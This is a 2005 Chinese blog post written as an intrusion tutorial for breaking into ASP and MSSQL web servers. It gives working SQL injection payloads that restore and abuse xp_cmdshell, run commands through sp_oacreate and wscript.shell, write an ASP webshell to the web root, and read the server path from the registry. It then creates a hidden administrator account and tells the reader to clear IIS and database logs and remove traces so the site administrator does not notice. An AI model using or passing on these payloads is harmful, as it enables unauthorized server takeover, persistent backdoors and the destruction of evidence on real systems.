有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了

怎么办呢?总是眼看着肉鸡跑了吧!今天我就对XP_CMDSHELL做一先解释,希望大家能看明白,能看懂

众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令

但是那先网管也不是吃素的,都回把它删除,所以在SQL Injection攻击中,获得xp_cmdshell的执行权限

才是最终的目标,在MSSQL中一共有8中权限分别是 sysadmin   dbcreator   diskadmin   processadmin  
serveradmin   setupadmin  securityadmin bulkadmin 这8种 每一个都具有不同的权限,大家都因该可

以知道其中的sysadmin权限是最高的,也是我们想要的。。。

大家都知道在MSSQL中,SA的权限是至高无上的了,但是有时获得了个SA 却无法执行命令是,是不是很郁

闷了呢?获得了个SA一般我们都用SQLTOOLS.EXE连接吧!一个比较好的工具,我也喜欢,呵呵!首先还是

让我们看看吧!用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在“利用目录”菜单

中打开“执行数据库命令” 填入我们要执行的命令:

Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?

接着看,还有办法,我们直接在数据库命令执行窗写入:

Exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; select count(*) from

master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我

们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到

对方的c:\winnt\system32下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:

Exec master.dbo.addextendedproc 'xp_cmdshell', 'c:\winnt\system32\xplog70.dll'

好了,接下来就是我们常用的命令  net user 和  net localgroup administrators

命令了,还有清楚IIS日记和MSSQL日记就OK了!

上面的方法是可以了但我们还可以饶过xp_cmdshell ,来执行系统命令,大家知道在MSSQL中可以通过两个

存储扩展来创建activex自动脚本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通过它们执行系

统命令的语句我们可以自己给他加上哦,代码如下:


declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'net start telnet'

上面那段代码的意思就是通过服务器上的 wscript.shel 来执行net start telnet 开启服务器的telnet

接下来呢就是通过FSO对服务器进行文件管理或者直接创建文件并写入数据,呵呵,可以直接写一个WEBSHE

LL到服务器上去哦!!!HOHO~~~~

declare @o int, @f int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'creatextifile', @f out, 'c:\inetpub\wwwroot\mad.asp', 1

exec @ ret = sp_oamethod @f, 'writeline', NULL, '<% set o =

server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>

上面的代码就在服务器c:\inetpub\wwwroot\mad.asp上创建了了只有两行的代码我们直接连上去就OK了

大家不防试试吧。下面我还是对大家入侵时做一先解释吧,希望大家能看明白,

举个例子现在咱们要入侵的网站是这个  www.***.com

第一还是踩点,找到入口,现在注入这么流行,还是注入吧,因为一般网站都是ASP+MSSQL结构来架设的假

如这个。www.***.com/script.asp?id=48

还是一样用,  ;  and 1=1 and 1=2判断一下,确定可以注入后,我们就可以利用这个漏洞拿到服务器和

数据库的一些相关信息。想看服务器打的补丁情况,我们提交:

www.***.com/script.asp?id=48 and 1=(select @@VERSION)

我想现在大部分服务器都打上SP4补丁了。我们看看其它的,看看他的数据库连接账号的权限,提交:

www.***.com/script.asp?id=48 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))

如果返回正常,这证明当前连接的账号是服务器角色sysadmin权限了,看来连接账号多半是采用SA账号连

接的了,自己有好做的了,还是试一下。万一猜错了呢?提交:

www.***.com/script.asp?id=48 and 'sa'=(SELECT System_user)

用来查看连接账号是不是用sa 连接的,如果IE返回正常。这证明了连接账号真的是SA,看来权限是高了哦

(如果要获得已登录用户的身份,则使用Transact-SQL 语句:SELECT SYSTEM_USER)

下面我们就利用MSSQL存储过程,得到WebShell,首先还是看看xp_cmdshell是否被管理员删除了 提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =

'X' AND name = 'xp_cmdshell')

如果被删除了,NO PROBLEM  我们给他恢复一下。提交:

www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'

试一下 看看xp_cmdshell是不是恢复过来了 提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =

'X' AND name = 'xp_cmdshell')

如果没有返回内容。这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了。现在大家可

以用上面的方法试试了,到这里有耐心的话还可以继续啊。可以用CZY提到的方法试试。

不过还用到两个MSSQL存储过程

xp_regread 扩展存储过程和xp_regread Web 助手存储过程:

xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径

sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件

名你可以自己指定。当然我们这里就指定为ASP脚本文件

CZY的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个

字段中加入木马的内容。然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中

再次删除建的临时表  不知道的可要到网上找找哦!

不过还是先看看这两个存储过程是不是被删了。。提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=

'xp_regread')

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=

'sp_makewebtask')

如果两个都返回正常的话,说明两个存储过程都没有删除 :

(大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册表中得到,位置如下:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots

利用扩展存储过程xp_regread我们可以取得它的值.

EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',

'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/'

这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?首先:先创建

一个临时表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就

用读取注册表的方法,把返回的值保存在一变量中。然后向新建的表中加入记录(即变量的值)。这样,

路径就写入到了表中。提交:

DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',

'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert

into 临时表 (临时字段名) values(@result);--

然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1)  )

我们用CZY的方法继续提交:

www.***.com/script.asp?id=48;create table [dbo].[ABCD] ([DACB][char](255));

这样我们就成功地建了一个名为ABCD的表,并且添加了类型是char,长度为255的字段名DACB。然后向表中

加数据:

www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',

@result output insert into cyfd (DACB) values(@result);--

继续提交从注册表中读出Web绝对路径,再把路径插入到刚建的表中。然后报出WebShell的绝对路径

www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1)

IE返回错误,我们得到Web绝对路径 例如:e:\Inetpub\wwwroot

还要删除刚才建的表 提交:

www.***.com/script.asp?id=48;drop table cyfd;--

接下来就好办多了,路径都知道了。得到WEBSHELL因该没问题了吧,得到WEBSHELL后,通过WEBSHELL上传

xplog70.dll传到E:\inetpub\wwwroot目录下 我们给他恢复下。提交:

www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,

'e:\inetpub\wwwroot\xplog70.dll'

(恢复,支持绝对路径的恢复!)

用IE来查看一下是不是已经恢复了。提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =

'X' AND name = 'xp_cmdshell')

如IE返回正常。说明已经恢复了!下面就建用户吧。。。。

www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net user abcd 123456 /add'

提升管理员

www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net localgroup administrators abcd
/add'

好了到了这里就OK了。。如果对方有终端的话,就连接吧。,还有清除IIS日志,和MSSQL日志 闪人!~

还有一点就是把xp_cmdshell也给他删除掉,不要让网管发现了。HOHO~~~~

 

posted on 2005-06-09 14:13  dahai.net  阅读(463)  评论(0编辑  收藏  举报